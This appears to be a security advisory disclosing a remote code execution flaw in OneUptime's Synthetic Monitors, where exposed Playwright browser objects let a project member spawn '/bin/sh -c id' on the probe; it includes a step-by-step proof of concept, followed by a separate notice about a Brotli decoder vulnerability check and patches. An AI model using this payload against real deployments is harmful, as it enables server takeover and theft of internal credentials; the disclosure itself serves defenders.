OneUptime has Synthetic Monitor RCE via exposed Playwright browser object
Summary
OneUptime Synthetic Monitors allow a low-privileged authenticated project user to execute arbitrary commands on the oneuptime-probe server/container.
The root cause is that untrusted Synthetic Monitor code is executed inside Node's vm while live host-realm Playwright browser and page objects are exposed to it. A malicious user can call Playwright APIs on the injected browser object and cause the probe to spawn an attacker-controlled executable.
This is a server-side remote code execution issue. It does not require a separate vm sandbox escape.
Details
A normal project member can create or edit monitors and monitor tests:
The dashboard exposes a Playwright code editor for Synthetic Monitors and allows a user to queue a test run:
For MonitorType.SyntheticMonitor, attacker-controlled customCode is passed into SyntheticMonitor.execute(...):
SyntheticMonitor.execute(...) then calls VMRunner.runCodeInNodeVM(...) and injects live Playwright objects into the VM context:
Relevant code path:
result = await VMRunner.runCodeInNodeVM({
code: options.script,
options: {
timeout: PROBE_SYNTHETIC_MONITOR_SCRIPT_TIMEOUT_IN_MS,
args: {},
context: {
browser: browserSession.browser,
page: browserSession.page,
screenSizeType: options.screenSizeType,
browserType: options.browserType,
},
},
});
VMRunner.runCodeInNodeVM(...) wraps host objects in proxies, but it still forwards normal method calls with the real host this binding. It only blocks a few property names such as constructor, __proto__, prototype, and mainModule:
Because of that, untrusted code can still use legitimate Playwright methods on the injected browser object.
The probe pins Playwright 1.58.2:
In that version, Browser.browserType() returns a BrowserType object, and BrowserType.launch() accepts attacker-controlled executablePath, ignoreDefaultArgs, and args. Playwright then passes those values into a child-process spawn path.
As a result, a malicious Synthetic Monitor can do this from inside the sandboxed script:
browser.browserType().launch({
executablePath: "/bin/sh",
ignoreDefaultArgs: true,
args: ["-c", "id"],
});
Even if Playwright later throws because the spawned process is not a real browser, the command has already executed.
This execution path is reachable through both one-shot monitor testing and normal scheduled monitor execution:
This appears distinct from prior node:vm breakout issues because the exploit does not need to recover process from the VM. The dangerous capability is already exposed by design through the injected Playwright object.
PoC
- Log in to the dashboard as a regular project member.
- Go to
Monitors -> Create New Monitor.
- Select
Synthetic Monitor.
- In the Playwright code field, paste:
browser.browserType().launch({
executablePath: "/bin/sh",
ignoreDefaultArgs: true,
args: [
"-c",
"id"
],
timeout: 1000,
}).catch((err) => {
console.log(String(err));
});
return {
data: {
launched: true
}
};
- Select one browser type, for example
Chromium.
- Select one screen type, for example
Desktop.
- Set retry count to
0.
- Click
Test Monitor and choose any probe.
Expected result:
Impact
This is a server-side Remote Code Execution issue affecting the probe component.
Who is impacted:
- any OneUptime deployment where an attacker can obtain ordinary project membership
- environments where the probe has access to internal services, secrets, Kubernetes metadata, database credentials, proxy credentials, or other cluster-local trust relationships
Latest trending attack
Criticalyesterday
Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)
This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.
Why a second control
CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.
Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.
The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.
What this control checks
Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.
How to read the result
Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.
This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.
Affected and fixed versions
Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.
Recommendations
Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.
Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli.
Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.
